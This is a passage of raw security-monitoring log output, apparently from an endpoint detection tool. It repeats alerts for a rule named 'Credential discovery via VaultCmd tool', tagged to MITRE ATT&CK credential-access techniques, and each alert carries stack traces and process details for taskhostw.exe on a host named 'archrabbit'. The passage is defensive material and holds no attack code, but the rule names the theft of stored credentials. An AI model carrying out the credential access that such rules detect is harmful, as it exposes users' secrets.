ffff808cc48cb170, file_path➜ , offset➜ 12288, pid➜ 6700, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 7ffb6cec0000, view_size➜ 176128 + Metadata: tactic.id: TA0006, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, subtechnique.id: T1555.004, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, subtechnique.name: Windows Credential Manager, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T22:58:44+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1309c64 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x604|0xfffff802c130c59b C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseRundownProtectionCacheAwareEx+0x6db|0xfffff802c1874c3c C:\WINDOWS\system32\ntoskrnl.exe!RtlPrefixUnicodeString+0x3bcc|0xfffff802c1869e65 C:\WINDOWS\system32\ntoskrnl.exe!RtlCompareUnicodeStrings+0x9c5|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea3e24 C:\Windows\System32\ntdll.dll!ZwSetValueKey|0x7ffb750565aa C:\Windows\System32\KernelBase.dll!RegSetValueExW|0x7ffb750561f4 C:\Windows\System32\KernelBase.dll!RegSetValueExW|0x7ffb54d1892f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d17db0 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d176b0 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d031f4 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06122 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06ea5 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d194f7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1a528 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11534 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1149b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54cfbd33 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2db16 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30a04 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30b68 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 398688 + Pid: 6700 + Tid: 8424 + Type: MapViewFile + CPU: 7 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.9977125 +0100 CET + Params: file_key➜ ffff808cc601c700, file_path➜ , offset➜ 16384, pid➜ 6700, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 7ffb54190000, view_size➜ 1282048 + Metadata: tactic.id: TA0006, technique.id: T1555, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, subtechnique.id: T1555.004, tactic.ref: https://attack.mitre.org/tactics/TA0006/, rule.name: Credential discovery via VaultCmd tool, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T22:58:44+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1309c64 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x604|0xfffff802c130c59b C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseRundownProtectionCacheAwareEx+0x6db|0xfffff802c1874c3c C:\WINDOWS\system32\ntoskrnl.exe!RtlPrefixUnicodeString+0x3bcc|0xfffff802c1869e65 C:\WINDOWS\system32\ntoskrnl.exe!RtlCompareUnicodeStrings+0x9c5|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea3e24 C:\Windows\System32\ntdll.dll!ZwSetValueKey|0x7ffb750565aa C:\Windows\System32\KernelBase.dll!RegSetValueExW|0x7ffb750561f4 C:\Windows\System32\KernelBase.dll!RegSetValueExW|0x7ffb54d1892f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d177d6 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d031f4 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06122 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06ea5 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d194f7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1a528 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11534 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1149b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54cfbd33 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2db16 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30a04 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30b68 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 398699 + Pid: 6700 + Tid: 8424 + Type: MapViewFile + CPU: 7 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.9999706 +0100 CET + Params: file_key➜ ffff808cc601b700, file_path➜ , offset➜ 16384, pid➜ 6700, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 7ffb53260000, view_size➜ 622592 + Metadata: tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, rule.name: Credential discovery via VaultCmd tool, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004 + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T22:58:44+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1309c64 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x604|0xfffff802c130c59b C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseRundownProtectionCacheAwareEx+0x6db|0xfffff802c1874c3c C:\WINDOWS\system32\ntoskrnl.exe!RtlPrefixUnicodeString+0x3bcc|0xfffff802c1869e65 C:\WINDOWS\system32\ntoskrnl.exe!RtlCompareUnicodeStrings+0x9c5|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea3e24 C:\Windows\System32\ntdll.dll!ZwSetValueKey|0x7ffb750565aa C:\Windows\System32\KernelBase.dll!RegSetValueExW|0x7ffb750561f4 C:\Windows\System32\KernelBase.dll!RegSetValueExW|0x7ffb54d1892f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d17877 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d031f4 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06122 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06ea5 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d194f7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1a528 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11534 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1149b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54cfbd33 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2db16 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30a04 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30b68 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 398707 + Pid: 6700 + Tid: 8424 + Type: MapViewFile + CPU: 7 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:29.0012216 +0100 CET + Params: file_key➜ ffff808cc6045170, file_path➜ , offset➜ 8192, pid➜ 6700, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 7ffb55f70000, view_size➜ 73728 + Metadata: subtechnique.id: T1555.004, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, rule.name: Credential discovery via VaultCmd tool, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.ref: https://attack.mitre.org/techniques/T1555/, technique.id: T1555, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, tactic.name: Credential Access + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T22:58:44+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1309c64 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x604|0xfffff802c130c59b C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseRundownProtectionCacheAwareEx+0x6db|0xfffff802c1874c3c C:\WINDOWS\system32\ntoskrnl.exe!RtlPrefixUnicodeString+0x3bcc|0xfffff802c1869e65 C:\WINDOWS\system32\ntoskrnl.exe!RtlCompareUnicodeStrings+0x9c5|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea3e24 C:\Windows\System32\ntdll.dll!ZwSetValueKey|0x7ffb750565aa C:\Windows\System32\KernelBase.dll!RegSetValueExW|0x7ffb750561f4 C:\Windows\System32\KernelBase.dll!RegSetValueExW|0x7ffb54d1892f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d178cf C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d031f4 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06122 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06ea5 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d194f7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1a528 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11534 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1149b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54cfbd33 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2db16 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30a04 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30b68 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 398720 + Pid: 6700 + Tid: 8424 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:29.002305 +0100 CET + Params: file_key➜ ffff808cc6043700, file_path➜ , offset➜ 12288, pid➜ 6700, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 7ffb531e0000, view_size➜ 208896 + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, subtechnique.id: T1555.004, tactic.id: TA0006, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.name: Windows Credential Manager, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, technique.id: T1555, technique.name: Credentials from Password Stores + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T22:58:46+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1256899 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c13111a6 C:\WINDOWS\system32\ntoskrnl.exe!PsGetThreadServerSilo+0x576|0xfffff802544e6d24 C:\WINDOWS\System32\drivers\fileinfo.sys!?|0xfffff80252c382cf C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x12df|0xfffff80252c379b0 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x9c0|0xfffff80252ca7d00 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltAllocateFileLock+0x1c30|0xfffff802c135d3ed C:\WINDOWS\system32\ntoskrnl.exe!IofCallDriver+0xcd|0xfffff802c185f8d5 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x44a5|0xfffff802c185d800 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x23d0|0xfffff802c185b631 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x201|0xfffff802c18ee9aa C:\WINDOWS\system32\ntoskrnl.exe!NtCreateFile+0x50a|0xfffff802c18ee519 C:\WINDOWS\system32\ntoskrnl.exe!NtCreateFile+0x79|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea3cd4 C:\Windows\System32\ntdll.dll!ZwCreateFile|0x7ffb750e39da C:\Windows\System32\KernelBase.dll!GetDriveTypeA|0x7ffb750e2b12 C:\Windows\System32\KernelBase.dll!CreateDirectoryW|0x7ffb54d29a3a C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d299f1 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d29431 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2a3d9 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d28b62 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11f9a C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d164ba C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d12a38 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d14258 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1117f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d10c06 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d10d49 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d0f9c1 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d040a6 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb549642bf C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54964e21 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549650a3 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54960e4a C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54965ae0 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549616ee C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54963dd9 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54d1af22 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d18027 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d16e15 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d0610f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06ea5 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d194f7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1a528 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11534 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1149b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54cfbd33 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2db16 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30a04 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30b68 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 407537 + Pid: 6700 + Tid: 8424 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:31.9472229 +0100 CET + Params: file_key➜ ffff808cdaca37c0, file_path➜ , offset➜ 4096, pid➜ 6700, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 7ffb6ce60000, view_size➜ 86016 + Metadata: technique.id: T1555, technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, subtechnique.id: T1555.004, tactic.ref: https://attack.mitre.org/tactics/TA0006/, rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006 + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T22:58:47+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1309c64 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x604|0xfffff802c130c59b C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseRundownProtectionCacheAwareEx+0x6db|0xfffff802c1874c3c C:\WINDOWS\system32\ntoskrnl.exe!RtlPrefixUnicodeString+0x3bcc|0xfffff802c1869e65 C:\WINDOWS\system32\ntoskrnl.exe!RtlCompareUnicodeStrings+0x9c5|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0xfffff802c16a14b0 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c18e5619 C:\WINDOWS\system32\ntoskrnl.exe!RtlIntegerToChar+0x5819|0xfffff802c18e4902 C:\WINDOWS\system32\ntoskrnl.exe!RtlIntegerToChar+0x4b02|0xfffff802c18e436e C:\WINDOWS\system32\ntoskrnl.exe!RtlIntegerToChar+0x456e|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea6e44 C:\Windows\System32\ntdll.dll!ZwUpdateWnfStateData|0x7ffb5486b0ab unbacked!?|0x7ffb54868b95 unbacked!?|0x7ffb54868382 unbacked!?|0x7ffb5486872a unbacked!?|0x7ffb5486857f unbacked!?|0x7ffb5486a18c unbacked!?|0x7ffb5486848f unbacked!?|0x7ffb548ec320 unbacked!?|0x7ffb75a0bc75 C:\Windows\System32\ucrtbase.dll!bsearch_s|0x7ffb75a0b897 C:\Windows\System32\ucrtbase.dll!_execute_onexit_table|0x7ffb75a0b84d C:\Windows\System32\ucrtbase.dll!_execute_onexit_table|0x7ffb75a32f0c C:\Windows\System32\ucrtbase.dll!_stricmp_l|0x7ffb54862fb5 unbacked!?|0x7ffb548630de unbacked!?|0x7ffb77ea0ede C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7ffb77db483e C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContext|0x7ffb77e3dfff C:\Windows\System32\ntdll.dll!LdrShutdownProcess|0x7ffb77d48ede C:\Windows\System32\ntdll.dll!RtlExitUserProcess|0x7ffb773e18ab C:\Windows\System32\kernel32.dll!FatalExit|0x7ffb75c3e2c9 C:\Windows\System32\msvcrt.dll!_exit|0x7ffb75c3e914 C:\Windows\System32\msvcrt.dll!_initterm_e|0x7ff7e00e81bd C:\Windows\System32\taskhostw.exe!?|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 391169 + Pid: 6700 + Tid: 9836 + Type: MapViewFile + CPU: 4 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.2445072 +0100 CET + Params: file_key➜ ffff808cc043d600, file_path➜ C:\Windows\System32\C_437.NLS, offset➜ 0, pid➜ 6700, protection➜ READONLY, section_type➜ DATA, view_base➜ 192a7ac0000, view_size➜ 69632 + Metadata: tactic.name: Credential Access, tactic.id: TA0006, technique.id: T1555, technique.name: Credentials from Password Stores, rule.name: Credential discovery via VaultCmd tool, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps; ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T22:58:47+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1309c64 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x604|0xfffff802c130c59b C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseRundownProtectionCacheAwareEx+0x6db|0xfffff802c1874c3c C:\WINDOWS\system32\ntoskrnl.exe!RtlPrefixUnicodeString+0x3bcc|0xfffff802c1869e65 C:\WINDOWS\system32\ntoskrnl.exe!RtlCompareUnicodeStrings+0x9c5|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0xfffff802c16a14b0 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c18e5619 C:\WINDOWS\system32\ntoskrnl.exe!RtlIntegerToChar+0x5819|0xfffff802c18e4902 C:\WINDOWS\system32\ntoskrnl.exe!RtlIntegerToChar+0x4b02|0xfffff802c18e436e C:\WINDOWS\system32\ntoskrnl.exe!RtlIntegerToChar+0x456e|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea6e44 C:\Windows\System32\ntdll.dll!ZwUpdateWnfStateData|0x7ffb5494b2d3 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54948def C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54948502 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54948942 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549486c3 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb5494a1c4 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb5494860f C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549e6700 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb75a0bc75 C:\Windows\System32\ucrtbase.dll!bsearch_s|0x7ffb75a0b897 